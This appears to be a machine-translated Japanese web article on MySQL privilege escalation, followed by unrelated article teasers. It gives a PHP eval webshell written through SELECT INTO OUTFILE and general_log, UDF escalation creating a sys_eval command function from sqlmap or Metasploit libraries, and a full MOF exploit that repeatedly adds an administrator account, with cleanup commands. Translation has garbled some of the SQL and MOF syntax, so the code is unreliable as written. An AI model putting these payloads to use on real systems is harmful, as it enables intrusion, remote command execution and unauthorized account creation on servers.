1. Webshellを書く出力ファイルにシェルを書き込む前提条件: 1. ウェブサイトの物理的なパスを知る 2. 高い権限を持つデータベースユーザー 3. load_file() が有効になっている、つまり secure_file_priv は無制限である 4. ウェブサイトのパスに書き込み権限がある まず、基本構文は、secure_file_privに制限がないかどうかを問い合わせます。 '%secure_file_priv%' のようなグローバル変数を表示します。
MySQL 5.5 より前では、 secure_file_priv はデフォルトで空でした。この場合、任意の絶対パスにファイルを書き込むことができました。 MySQL 5.5 以降では、 secure_file_priv のデフォルトは NULL に設定され、その場合、ファイルを書き込むことはできません。 上記の条件がすべて満たされている場合は、次の SQL ステートメントを使用してシェルに直接書き込むことができます。 '<?php @eval($_POST[cmd]); ?>' を出力ファイル 'C:\\soft\\WWW\\empirecms\\shell.php' に選択します。 ターゲットパスを確認し、shell.phpファイルが書き込まれていることを確認します。 上部包丁接続部 ログファイル書き込みシェル前提条件: 1. Webフォルダの緩い権限が書き込まれる可能性がある 2. ウィンドウ 3. MySQLまたはApacheを高い権限で実行する MySQL 5.0以降ではログファイルが作成されますが、ログのグローバル変数をgetshellに変更することで変更できます。 ログディレクトリを表示する 'general%' のような変数を表示します。 general_log はデフォルトで無効になっています。有効にすると、ユーザーが入力したすべてのコマンドが記録され、対応するログ ファイルに保存されます。 ログファイルの場所の変更 グローバル general_log を "ON" に設定します。 グローバル general_log_file を 'C:\\soft\\WWW\\empirecms\\log.php' に設定します。 現在のログ構成を表示する ターゲットディレクトリを確認し、log.phpファイルを書き込みます シェルに書き込む '<?php @eval($_POST[cmd]); ?>' を選択します 包丁で接続する 2. UDF 権限昇格カスタム関数は、データベース機能の拡張です。ユーザーはカスタム関数を使用して、MySQL では簡単に実装できない関数を実装できます。新しく追加された関数は、ネイティブ関数 version() を呼び出すのと同じように、SQL ステートメントで呼び出すことができます。 ダイナミック リンク ライブラリ MySQL のバージョンが 5.1 以上の場合、カスタム関数を作成する前に、UDF ダイナミック リンク ライブラリ ファイルを MySQL インストール ディレクトリの下の lib\plugin フォルダに配置する必要があります。 では、ダイナミック リンク ライブラリ ファイルはどこにありますか?実際、私たちがよく使用するツールである sqlmap と Metasploit には、対応するシステム用のダイナミック リンク ライブラリ ファイルが付属しています。 sqlmap UDF ダイナミック リンク ライブラリ ファイルの場所
ただし、sqlmap に含まれるこれらのダイナミック リンク ライブラリは、誤って強制終了されることを防ぐためにコーディングされており、直接使用することはできません。ただし、sqlmap に付属するデコード ツール cloak.py を使用してデコードすることができます。cloak.py の場所は、sqlmap ルート ディレクトリ/extra/cloak/cloak.py です。 デコード方法は次のとおりです。 32 ビット Windows ダイナミック リンク ライブラリのデコード:
他のLinuxおよびWindowsのダイナミックリンクライブラリのデコードも同様です または、デコードせずにmetasploitに付属するダイナミックリンクライブラリを直接使用する Metasploit UDF ダイナミック リンク ライブラリ ファイルの場所 次のタスクは、UDF ダイナミック リンク ライブラリ ファイルを MySQL プラグイン ディレクトリに配置することです。このディレクトリを見つけるにはどうすればよいでしょうか?次の SQL ステートメントを使用してクエリを実行できます。 '%plugin%' のような変数を表示する ダイナミックリンクライブラリの書き込み secure_file_privが無制限の場合、プラグインディレクトリに手動でファイルを書き込むことができます。 load_file('C:\\soft\\UDFmysql\\lib_mysqludf_sys_32.dll') をダンプファイル 'C:\\soft\\MySQL\\lib\\plugin\\udf.dll' に選択します。
カスタム関数を作成し、コマンドを呼び出す カスタム関数の作成 CREATE FUNCTION sys_eval は STRING SONAME 'udf.dll' を返します。 sys_evalが追加されているかどうかを確認する 次に、作成された関数を通じてシステム コマンドを実行できます。 カスタム関数の削除 関数 sys_eval を削除します。 3. MOF 権限昇格Mof 権限昇格原則 mof 権限昇格の原理は、実は非常に単純です。c:/windows/system32/wbem/mof/ ディレクトリの nullevt.mof ファイルを使用して、特定の時間に 1 分ごとに実行し、実行用の cmd コマンドを書き込みます。 厳格な前提条件: 1. Windows 03以下 2. mysqlの起動IDには、c:/windows/system32/wbem/mofディレクトリの読み取りと書き込みの権限があります。 3. secure-file-privパラメータがnullではない 権限昇格プロセス: MOF ファイルは 5 秒ごとに実行され、システム権限です。mysql を介して load_file を使用してファイルを /wbme/mof に書き込むと、システムはアップロードした MOF を 5 秒ごとに実行します。 MOF には vbs スクリプトがあります。この vbs スクリプトの内容を制御して、システムがコマンドを実行し、権限を昇格できるようにすることができます。 エクスプロイト コードは次のとおりです (test.mof): #pragma namespace("\\\\.\\root\\subscription") __EventFilter のインスタンスを $EventFilter として { イベント名前空間 = "Root\\Cimv2"; 名前 = "filtP2"; クエリ = "Select * From __InstanceModificationEvent" 「TargetInstance は \"Win32_LocalTime\" です」 「そして TargetInstance.Second = 5」; クエリ言語 = "WQL"; }; ActiveScriptEventConsumer のインスタンスを $Consumer として { 名前 = "consPCSV2"; スクリプトエンジン = "JScript"; スクリプトテキスト = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")\nWSH.run(\"net.exe localgroup administrators hpdoger /add\")"; }; __FilterToConsumerBinding のインスタンス { 消費者 = $Consumer; フィルター = $EventFilter; }; MOF ファイルの使用率: 上記のスクリプトを読み取りおよび書き込み権限のあるディレクトリにアップロードします。 ここではC:\soft\にアップロードし、SQL文を使用してファイルをc:/windows/system32/wbem/mof/にインポートします。
権限昇格を確認します。 mof のエクスポートに成功すると、mof が直接実行され、5 秒ごとにユーザーが作成されます。 MOF権限昇格のデメリットについて 権限の昇格に成功した後、アカウントが削除されたとしても、mof は 5 秒以内に元のアカウントを再構築します。これにより、テストを終了するのに大きな問題が発生するため、注意して使用してください。では、ハッキングされたアカウントを削除するにはどうすればいいのでしょうか? cmd で次のステートメントを実行します。 #winmgmt サービスを停止します net stop winmgmt #リポジトリフォルダを削除します rmdir /s /q C:\Windows\system32\wbem\Repository\ # mof ファイルを手動で削除します del c:/windows/system32/wbem/mof/nullevt.mof /F /S # 作成したユーザーを削除する net user hpdoger /delete #サービスを再起動しますnet start winmgmt 要約するこれで、MySQL 権限昇格手法に関するこの記事は終了です。MySQL 権限昇格手法の詳細については、123WORDPRESS.COM の以前の記事を検索するか、以下の関連記事を引き続き参照してください。今後とも 123WORDPRESS.COM をよろしくお願いいたします。 以下もご興味があるかもしれません:
|
<<: モバイル適応型ウェブページ効果は、小さな表示ページの問題を解決します
前の 2 つの記事の簡単な紹介を通じて、Bootstrap についての基礎的な理解が得られました。 ...
序文: Linux システムでの rm は元に戻せません。コマンドの設計自体に問題はありません。問題...
設計業務では、設計者がレビューに参加したり、リーダーの一部が設計案の詳細が足りないと言っているのをよ...
この記事では、クリック時にサブメニューを表示するためのJavaScriptの具体的なコードを参考まで...
MySQLインストーラをダウンロードする公式ダウンロードアドレス: http://dev.mysq...
序文コードを書くと、時々基数変換の問題に遭遇します。一般的な変換には、2進数、8進数、10進数、16...
BGCOLOR 属性を使用して、行の背景色を設定できます。基本的な構文<TR BGcolor...
外国のウェブサイトを開くと文字化けした文字が表示されることが多く、また、英語以外の外国のウェブサイト...
目次父から息子へ: 1. 親コンポーネントのサブコンポーネントタグに、サブコンポーネントに渡されるデ...
MultiTail は、tail コマンド機能と同様に、複数のドキュメントを同時に監視するために使用...
目次環境条件エラーが発生しました回避策1. mysql dockerにログインする2. ルートパスワ...
私は全体のプロセスを 4 つのステップに分けます。 JDKをダウンロードしてインストールするTomc...
この記事では、CSS で記事の区切り線を実装するさまざまな方法をまとめています。区切り線はページを美...
mysqlslap共通パラメータの説明–auto-generate-sql システムはテスト用のSQ...
この記事の例では、参考までに簡単な計算機を実装するためのJavaScriptの具体的なコードを共有し...